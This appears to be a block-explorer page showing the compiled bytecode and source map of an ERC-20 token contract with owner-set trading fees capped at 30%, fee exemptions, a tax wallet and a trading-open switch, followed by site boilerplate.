b92915050565b5f6104a06012600a6111b8565b6104ae90630bebc2006111c6565b905090565b5f6104bf848484610848565b610510843361050b8560405180606001604052806028815260200161130f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c2b565b6107e8565b5060019392505050565b5f546001600160a01b0316331461054c5760405162461bcd60e51b8152600401610543906111dd565b60405180910390fd5b601e8111156105955760405162461bcd60e51b81526020600482015260156024820152744d617820333025206665657320616c6c6f7765642160581b6044820152606401610543565b600881905560098190556006819055600755565b5f546001600160a01b031633146105d25760405162461bcd60e51b8152600401610543906111dd565b305f908152600160205260408120546105ed90601054610c63565b90506105f881610c7a565b50565b5f546001600160a01b031633146106245760405162461bcd60e51b8152600401610543906111dd565b600e55565b5f546001600160a01b031633146106525760405162461bcd60e51b8152600401610543906111dd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106c35760405162461bcd60e51b8152600401610543906111dd565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610543906111dd565b5f6008819055600955565b5f610489338484610848565b5f546001600160a01b0316331461074e5760405162461bcd60e51b8152600401610543906111dd565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107a15760405162461bcd60e51b8152600401610543906111dd565b600555565b5f546001600160a01b031633146107cf5760405162461bcd60e51b8152600401610543906111dd565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526003602052604081205460ff1615801561088857506001600160a01b0383165f9081526003602052604090205460ff16155b80156108a157505f546001600160a01b03858116911614155b15610aee576108d260646108cc600a54600d54116108c1576006546108c5565b6008545b8590610ded565b90610e6b565b601254909150600160a01b900460ff166109255760405162461bcd60e51b815260206004820152601460248201527354726164696e67206973206e6f74206f70656e2160601b6044820152606401610543565b6012546001600160a01b03908116908516036109c357600e548261095d856001600160a01b03165f9081526001602052604090205490565b6109679190611212565b11156109ae5760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610543565b600d8054905f6109bd83611225565b91905055505b6012546001600160a01b0390811690841603610a63576109fe60646108cc600b54600d54116109f4576007546108c5565b6009548590610ded565b9050610a0c6012600a6111b8565b610a1a90630bebc2006111c6565b600e5410610a635760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610543565b305f90815260016020526040902054601254600160a81b900460ff16158015610a9957506012546001600160a01b038581169116145b8015610aae5750601254600160b01b900460ff165b8015610abb5750600f5481115b8015610aca5750600c54600d54115b15610aec57610aec610ae784610ae284601054610c63565b610c63565b610c7a565b505b8015610b6657305f90815260016020526040902054610b0d9082610eac565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b5d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610b889083610f0a565b6001600160a01b0385165f90815260016020526040902055610bcb610bad8383610f0a565b6001600160a01b0385165f9081526001602052604090205490610eac565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c148585610f0a565b60405190815260200160405180910390a350505050565b5f8184841115610c4e5760405162461bcd60e51b81526004016105439190610f77565b505f610c5a848661123d565b95945050505050565b5f818311610c715782610c73565b815b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cc057610cc0611250565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3b9190611264565b81600181518110610d4e57610d4e611250565b6001600160a01b039283166020918202929092010152601154610d7491309116846107e8565b6011546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610daf9388935f93899392169142910161127f565b5f604051808303815f87803b158015610dc6575f80fd5b505af1158015610dd8573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b5f825f03610dfc57505f61048d565b5f610e0783856111c6565b905082610e1485836112ef565b14610c735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610543565b5f610c7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f4b565b5f80610eb88385611212565b905083811015610c735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610543565b5f610c7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c2b565b5f8183610f6b5760405162461bcd60e51b81526004016105439190610f77565b505f610c5a84866112ef565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105f8575f80fd5b5f8060408385031215610fd1575f80fd5b8235610fdc81610fac565b946020939093013593505050565b5f805f60608486031215610ffc575f80fd5b833561100781610fac565b9250602084013561101781610fac565b929592945050506040919091013590565b5f60208284031215611038575f80fd5b5035919050565b5f6020828403121561104f575f80fd5b8135610c7381610fac565b5f806040838503121561106b575f80fd5b823561107681610fac565b91506020830135801515811461108a575f80fd5b809150509250929050565b5f80604083850312156110a6575f80fd5b82356110b181610fac565b9150602083013561108a81610fac565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611110578085048111156110f4576110f46110c1565b600184161561110257908102905b60019390931c9280026110d9565b935093915050565b5f826111265750600161048d565b8161113257505f61048d565b816001811461114857600281146111525761116e565b600191505061048d565b60ff841115611163576111636110c1565b50506001821b61048d565b5060208310610133831016604e8410600b8410161715611191575081810a61048d565b61119d5f1984846110d5565b805f19048211156111b0576111b06110c1565b029392505050565b5f610c7360ff841683611118565b808202811582820484141761048d5761048d6110c1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561048d5761048d6110c1565b5f60018201611236576112366110c1565b5060010190565b8181038181111561048d5761048d6110c1565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611274575f80fd5b8151610c7381610fac565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156112cf5783516001600160a01b03168352602093840193909201916001016112a8565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261130957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba3ac518be7eeb642fcd52600f3ba5fdc746aa188bc5f3eb7b16de7c56e210f864736f6c634300081a0033

Deployed Bytecode Sourcemap

5925:6638:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6354:30;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6354:30:0;;;;;;;;7831:83;;;;;;;;;;-1:-1:-1;7901:5:0;;;;;;;;;;;;-1:-1:-1;;;7901:5:0;;;;7831:83;;;;;;;:::i;8664:161::-;;;;;;;;;;-1:-1:-1;8664:161:0;;;;;:::i;:::-;;:::i;:::-;;;1292:14:1;;1285:22;1267:41;;1255:2;1240:18;8664:161:0;1127:187:1;6924:41:0;;;;;;;;;;;;;;;;8108:95;;;;;;;;;;;;;:::i;8833:313::-;;;;;;;;;;-1:-1:-1;8833:313:0;;;;;:::i;:::-;;:::i;8017:83::-;;;;;;;;;;-1:-1:-1;8017:83:0;;6744:2;1974:36:1;;1962:2;1947:18;8017:83:0;1832:184:1;11903:247:0;;;;;;;;;;-1:-1:-1;11903:247:0;;;;;:::i;:::-;;:::i;:::-;;11744:151;;;;;;;;;;;;;:::i;11526:92::-;;;;;;;;;;-1:-1:-1;11526:92:0;;;;;:::i;:::-;;:::i;6322:25::-;;;;;;;;;;-1:-1:-1;6322:25:0;;;;-1:-1:-1;;;;;6322:25:0;;;;;;-1:-1:-1;;;;;2416:32:1;;;2398:51;;2386:2;2371:18;6322:25:0;2252:203:1;8211:119:0;;;;;;;;;;-1:-1:-1;8211:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8304:18:0;8277:7;8304:18;;;:9;:18;;;;;;;8211:119;5006:148;;;;;;;;;;;;;:::i;12413:110::-;;;;;;;;;;-1:-1:-1;12413:110:0;;;;;:::i;:::-;;:::i;11626:106::-;;;;;;;;;;;;;:::i;6822:41::-;;;;;;;;;;;;;;;;4792:79;;;;;;;;;;-1:-1:-1;4830:7:0;4857:6;-1:-1:-1;;;;;4857:6:0;4792:79;;7922:87;;;;;;;;;;-1:-1:-1;7994:7:0;;;;;;;;;;;;-1:-1:-1;;;7994:7:0;;;;7922:87;;8338:167;;;;;;;;;;-1:-1:-1;8338:167:0;;;;;:::i;:::-;;:::i;6870:47::-;;;;;;;;;;;;;;;;12162:129;;;;;;;;;;-1:-1:-1;12162:129:0;;;;;:::i;:::-;;:::i;12299:106::-;;;;;;;;;;-1:-1:-1;12299:106:0;;;;;:::i;:::-;;:::i;8513:143::-;;;;;;;;;;-1:-1:-1;8513:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8621:18:0;;;8594:7;8621:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8513:143;11406:112;;;;;;;;;;;;;:::i;8664:161::-;8739:4;8756:39;2627:10;8779:7;8788:6;8756:8;:39::i;:::-;-1:-1:-1;8813:4:0;8664:161;;;;;:::o;8108:95::-;8161:7;6802:13;6744:2;6802;:13;:::i;:::-;6788:27;;:11;:27;:::i;:::-;8181:14;;8108:95;:::o;8833:313::-;8931:4;8948:36;8958:6;8966:9;8977:6;8948:9;:36::i;:::-;8995:121;9004:6;2627:10;9026:89;9064:6;9026:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9026:19:0;;;;;;:11;:19;;;;;;;;2627:10;9026:33;;;;;;;;;;:37;:89::i;:::-;8995:8;:121::i;:::-;-1:-1:-1;9134:4:0;8833:313;;;;;:::o;11903:247::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;;;;;;;;;11984:2:::1;11974:8;:12;;11966:46;;;::::0;-1:-1:-1;;;11966:46:0;;5826:2:1;11966:46:0::1;::::0;::::1;5808:21:1::0;5865:2;5845:18;;;5838:30;-1:-1:-1;;;5884:18:1;;;5877:51;5945:18;;11966:46:0::1;5624:345:1::0;11966:46:0::1;12021:12;:21:::0;;;12051:13:::1;:22:::0;;;12082:14:::1;:25:::0;;;12116:15:::1;:26:::0;11903:247::o;11744:151::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;11832:4:::1;11796:11;8304:18:::0;;;:9;:18;;;;;;11810:42:::1;::::0;11840:11:::1;;11810:3;:42::i;:::-;11796:56;;11863:24;11880:6;11863:16;:24::i;:::-;11785:110;11744:151::o:0;11526:92::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;11591:10:::1;:19:::0;11526:92::o;5006:148::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;5113:1:::1;5097:6:::0;;5076:40:::1;::::0;-1:-1:-1;;;;;5097:6:0;;::::1;::::0;5076:40:::1;::::0;5113:1;;5076:40:::1;5144:1;5127:19:::0;;-1:-1:-1;;;;;;5127:19:0::1;::::0;;5006:148::o;12413:110::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;12490:10:::1;:25:::0;;-1:-1:-1;;;;;;12490:25:0::1;-1:-1:-1::0;;;;;12490:25:0;;;::::1;::::0;;;::::1;::::0;;12413:110::o;11626:106::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;11695:1:::1;11680:12;:16:::0;;;11707:13:::1;:17:::0;11626:106::o;8338:167::-;8416:4;8433:42;2627:10;8457:9;8468:6;8433:9;:42::i;12162:129::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12247:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:36;;-1:-1:-1;;12247:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12162:129::o;12299:106::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;12373:11:::1;:24:::0;12299:106::o;11406:112::-;4919:6;;-1:-1:-1;;;;;4919:6:0;2627:10;4919:22;4911:67;;;;-1:-1:-1;;;4911:67:0;;;;;;;:::i;:::-;11460:11:::1;:18:::0;;-1:-1:-1;;;;11489:21:0;-1:-1:-1;;;11489:21:0;;;11406:112::o;9154:177::-;-1:-1:-1;;;;;9239:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9291:32;;160:25:1;;;9291:32:0;;133:18:1;9291:32:0;;;;;;;9154:177;;;:::o;9339:1463::-;-1:-1:-1;;;;;9454:24:0;;9419:17;9454:24;;;:18;:24;;;;;;;;9453:25;:60;;;;-1:-1:-1;;;;;;9482:22:0;;;;;;:18;:22;;;;;;;;:31;9453:60;:79;;;;-1:-1:-1;4830:7:0;4857:6;-1:-1:-1;;;;;9517:15:0;;;4857:6;;9517:15;;9453:79;9449:997;;;9561:76;9633:3;9561:67;9583:15;;9573:9;;:25;9572:55;;9613:14;;9572:55;;;9600:12;;9572:55;9561:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9660:14;;9549:88;;-1:-1:-1;;;;9660:14:0;;;;9652:47;;;;-1:-1:-1;;;9652:47:0;;6176:2:1;9652:47:0;;;6158:21:1;6215:2;6195:18;;;6188:30;-1:-1:-1;;;6234:18:1;;;6227:50;6294:18;;9652:47:0;5974:344:1;9652:47:0;9726:13;;-1:-1:-1;;;;;9726:13:0;;;9718:21;;;;9714:163;;9794:10;;9784:6;9768:13;9778:2;-1:-1:-1;;;;;8304:18:0;8277:7;8304:18;;;:9;:18;;;;;;;8211:119;9768:13;:22;;;;:::i;:::-;:36;;9760:71;;;;-1:-1:-1;;;9760:71:0;;6655:2:1;9760:71:0;;;6637:21:1;6694:2;6674:18;;;6667:30;-1:-1:-1;;;6713:18:1;;;6706:52;6775:18;;9760:71:0;6453:346:1;9760:71:0;9850:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9714:163;9902:13;;-1:-1:-1;;;;;9902:13:0;;;9896:19;;;;9893:223;;9947:79;10022:3;9947:70;9969:16;;9959:9;;:26;9958:58;;10001:15;;9958:58;;;9987:13;;9947:6;;:10;:70::i;:79::-;9935:91;-1:-1:-1;6802:13:0;6744:2;6802;:13;:::i;:::-;6788:27;;:11;:27;:::i;:::-;10053:10;;:20;10045:55;;;;-1:-1:-1;;;10045:55:0;;6655:2:1;10045:55:0;;;6637:21:1;6694:2;6674:18;;;6667:30;-1:-1:-1;;;6713:18:1;;;6706:52;6775:18;;10045:55:0;6453:346:1;10045:55:0;10181:4;10132:28;8304:18;;;:9;:18;;;;;;10207:6;;-1:-1:-1;;;10207:6:0;;;;10206:7;:30;;;;-1:-1:-1;10223:13:0;;-1:-1:-1;;;;;10217:19:0;;;10223:13;;10217:19;10206:30;:45;;;;-1:-1:-1;10240:11:0;;-1:-1:-1;;;10240:11:0;;;;10206:45;:89;;;;;10278:17;;10255:20;:40;10206:89;:123;;;;;10311:18;;10299:9;;:30;10206:123;10202:233;;;10350:69;10367:51;10371:6;10379:38;10383:20;10405:11;;10379:3;:38::i;:::-;10367:3;:51::i;:::-;10350:16;:69::i;:::-;9534:912;9449:997;10461:11;;10458:161;;10529:4;10511:24;;;;:9;:24;;;;;;:39;;10540:9;10511:28;:39::i;:::-;10504:4;10486:24;;;;:9;:24;;;;;;;:64;;;;10568:39;;-1:-1:-1;;;;;10568:39:0;;;;;;;10597:9;160:25:1;;148:2;133:18;;14:177;10568:39:0;;;;;;;;10458:161;-1:-1:-1;;;;;10645:15:0;;;;;;:9;:15;;;;;;:27;;10665:6;10645:19;:27::i;:::-;-1:-1:-1;;;;;10629:15:0;;;;;;:9;:15;;;;;:43;10697:40;10715:21;:6;10726:9;10715:10;:21::i;:::-;-1:-1:-1;;;;;10697:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10683:13:0;;;;;;;:9;:13;;;;;:54;;;;10753:41;;;10772:21;:6;10783:9;10772:10;:21::i;:::-;10753:41;;160:25:1;;;148:2;133:18;10753:41:0;;;;;;;9408:1394;9339:1463;;;:::o;3684:190::-;3770:7;3806:12;3798:6;;;;3790:29;;;;-1:-1:-1;;;3790:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3830:9:0;3842:5;3846:1;3842;:5;:::i;:::-;3830:17;3684:190;-1:-1:-1;;;;;3684:190:0:o;10812:98::-;10869:7;10896:1;10894;:3;10893:9;;10901:1;10893:9;;;10899:1;10893:9;10886:16;10812:98;-1:-1:-1;;;10812:98:0:o;10918:480::-;7202:6;:13;;-1:-1:-1;;;;7202:13:0;-1:-1:-1;;;7202:13:0;;;11020:16:::1;::::0;;11034:1:::1;11020:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11020:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11020:16:0::1;10996:40;;11065:4;11047;11052:1;11047:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11047:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11091:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11091:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11047:7;;11091:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11081:4;11086:1;11081:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11081:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11156:15:::1;::::0;11124:62:::1;::::0;11141:4:::1;::::0;11156:15:::1;11174:11:::0;11124:8:::1;:62::i;:::-;11197:15;::::0;11339:10:::1;::::0;;11197:193:::1;::::0;-1:-1:-1;;;11197:193:0;;-1:-1:-1;;;;;11197:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;11278:11;;11197:15:::1;::::0;11320:4;;11339:10;::::1;::::0;11364:15:::1;::::0;11197:193:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;7238:6:0;:14;;-1:-1:-1;;;;7238:14:0;;;-1:-1:-1;;;;10918:480:0:o;3882:246::-;3940:7;3964:1;3969;3964:6;3960:47;;-1:-1:-1;3994:1:0;3987:8;;3960:47;4017:9;4029:5;4033:1;4029;:5;:::i;:::-;4017:17;-1:-1:-1;4062:1:0;4053:5;4057:1;4017:17;4053:5;:::i;:::-;:10;4045:56;;;;-1:-1:-1;;;4045:56:0;;8985:2:1;4045:56:0;;;8967:21:1;9024:2;9004:18;;;8997:30;9063:34;9043:18;;;9036:62;-1:-1:-1;;;9114:18:1;;;9107:31;9155:19;;4045:56:0;8783:397:1;4136:132:0;4194:7;4221:39;4225:1;4228;4221:39;;;;;;;;;;;;;;;;;:3;:39::i;3353:179::-;3411:7;;3443:5;3447:1;3443;:5;:::i;:::-;3431:17;;3472:1;3467;:6;;3459:46;;;;-1:-1:-1;;;3459:46:0;;9387:2:1;3459:46:0;;;9369:21:1;9426:2;9406:18;;;9399:30;9465:29;9445:18;;;9438:57;9512:18;;3459:46:0;9185:351:1;3540:136:0;3598:7;3625:43;3629:1;3632;3625:43;;;;;;;;;;;;;;;;;:3;:43::i;4276:189::-;4362:7;4397:12;4390:5;4382:28;;;;-1:-1:-1;;;4382:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4421:9:0;4433:5;4437:1;4433;:5;:::i;196:418:1:-;345:2;334:9;327:21;308:4;377:6;371:13;420:6;415:2;404:9;400:18;393:34;479:6;474:2;466:6;462:15;457:2;446:9;442:18;436:50;535:1;530:2;521:6;510:9;506:22;502:31;495:42;605:2;598;594:7;589:2;581:6;577:15;573:29;562:9;558:45;554:54;546:62;;;196:418;;;;:::o;619:131::-;-1:-1:-1;;;;;694:31:1;;684:42;;674:70;;740:1;737;730:12;755:367;823:6;831;884:2;872:9;863:7;859:23;855:32;852:52;;;900:1;897;890:12;852:52;939:9;926:23;958:31;983:5;958:31;:::i;:::-;1008:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;755:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:226::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;-1:-1:-1;2194:23:1;;2021:226;-1:-1:-1;2021:226:1:o;2460:247::-;2519:6;2572:2;2560:9;2551:7;2547:23;2543:32;2540:52;;;2588:1;2585;2578:12;2540:52;2627:9;2614:23;2646:31;2671:5;2646:31;:::i;2712:416::-;2777:6;2785;2838:2;2826:9;2817:7;2813:23;2809:32;2806:52;;;2854:1;2851;2844:12;2806:52;2893:9;2880:23;2912:31;2937:5;2912:31;:::i;:::-;2962:5;-1:-1:-1;3019:2:1;3004:18;;2991:32;3061:15;;3054:23;3042:36;;3032:64;;3092:1;3089;3082:12;3032:64;3115:7;3105:17;;;2712:416;;;;;:::o;3133:388::-;3201:6;3209;3262:2;3250:9;3241:7;3237:23;3233:32;3230:52;;;3278:1;3275;3268:12;3230:52;3317:9;3304:23;3336:31;3361:5;3336:31;:::i;:::-;3386:5;-1:-1:-1;3443:2:1;3428:18;;3415:32;3456:33;3415:32;3456:33;:::i;3526:127::-;3587:10;3582:3;3578:20;3575:1;3568:31;3618:4;3615:1;3608:15;3642:4;3639:1;3632:15;3658:375;3746:1;3764:5;3778:249;3799:1;3789:8;3786:15;3778:249;;;3849:4;3844:3;3840:14;3834:4;3831:24;3828:50;;;3858:18;;:::i;:::-;3908:1;3898:8;3894:16;3891:49;;;3922:16;;;;3891:49;4005:1;4001:16;;;;;3961:15;;3778:249;;;3658:375;;;;;;:::o;4038:902::-;4087:5;4117:8;4107:80;;-1:-1:-1;4158:1:1;4172:5;;4107:80;4206:4;4196:76;;-1:-1:-1;4243:1:1;4257:5;;4196:76;4288:4;4306:1;4301:59;;;;4374:1;4369:174;;;;4281:262;;4301:59;4331:1;4322:10;;4345:5;;;4369:174;4406:3;4396:8;4393:17;4390:43;;;4413:18;;:::i;:::-;-1:-1:-1;;4469:1:1;4455:16;;4528:5;;4281:262;;4627:2;4617:8;4614:16;4608:3;4602:4;4599:13;4595:36;4589:2;4579:8;4576:16;4571:2;4565:4;4562:12;4558:35;4555:77;4552:203;;;-1:-1:-1;4664:19:1;;;4740:5;;4552:203;4787:42;-1:-1:-1;;4812:8:1;4806:4;4787:42;:::i;:::-;4865:6;4861:1;4857:6;4853:19;4844:7;4841:32;4838:58;;;4876:18;;:::i;:::-;4914:20;;4038:902;-1:-1:-1;;;4038:902:1:o;4945:140::-;5003:5;5032:47;5073:4;5063:8;5059:19;5053:4;5032:47;:::i;5090:168::-;5163:9;;;5194;;5211:15;;;5205:22;;5191:37;5181:71;;5232:18;;:::i;5263:356::-;5465:2;5447:21;;;5484:18;;;5477:30;5543:34;5538:2;5523:18;;5516:62;5610:2;5595:18;;5263:356::o;6323:125::-;6388:9;;;6409:10;;;6406:36;;;6422:18;;:::i;6804:135::-;6843:3;6864:17;;;6861:43;;6884:18;;:::i;:::-;-1:-1:-1;6931:1:1;6920:13;;6804:135::o;6944:128::-;7011:9;;;7032:11;;;7029:37;;;7046:18;;:::i;7209:127::-;7270:10;7265:3;7261:20;7258:1;7251:31;7301:4;7298:1;7291:15;7325:4;7322:1;7315:15;7341:251;7411:6;7464:2;7452:9;7443:7;7439:23;7435:32;7432:52;;;7480:1;7477;7470:12;7432:52;7512:9;7506:16;7531:31;7556:5;7531:31;:::i;7597:959::-;7859:4;7907:3;7896:9;7892:19;7938:6;7927:9;7920:25;7981:6;7976:2;7965:9;7961:18;7954:34;8024:3;8019:2;8008:9;8004:18;7997:31;8048:6;8083;8077:13;8114:6;8106;8099:22;8152:3;8141:9;8137:19;8130:26;;8191:2;8183:6;8179:15;8165:29;;8212:1;8222:195;8236:6;8233:1;8230:13;8222:195;;;8301:13;;-1:-1:-1;;;;;8297:39:1;8285:52;;8366:2;8392:15;;;;8357:12;;;;8333:1;8251:9;8222:195;;;-1:-1:-1;;;;;;;8473:32:1;;;;8468:2;8453:18;;8446:60;-1:-1:-1;;8537:3:1;8522:19;8515:35;8434:3;7597:959;-1:-1:-1;;;7597:959:1:o;8561:217::-;8601:1;8627;8617:132;;8671:10;8666:3;8662:20;8659:1;8652:31;8706:4;8703:1;8696:15;8734:4;8731:1;8724:15;8617:132;-1:-1:-1;8763:9:1;;8561:217::o

Swarm Source

ipfs://ba3ac518be7eeb642fcd52600f3ba5fdc746aa188bc5f3eb7b16de7c56e210f8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.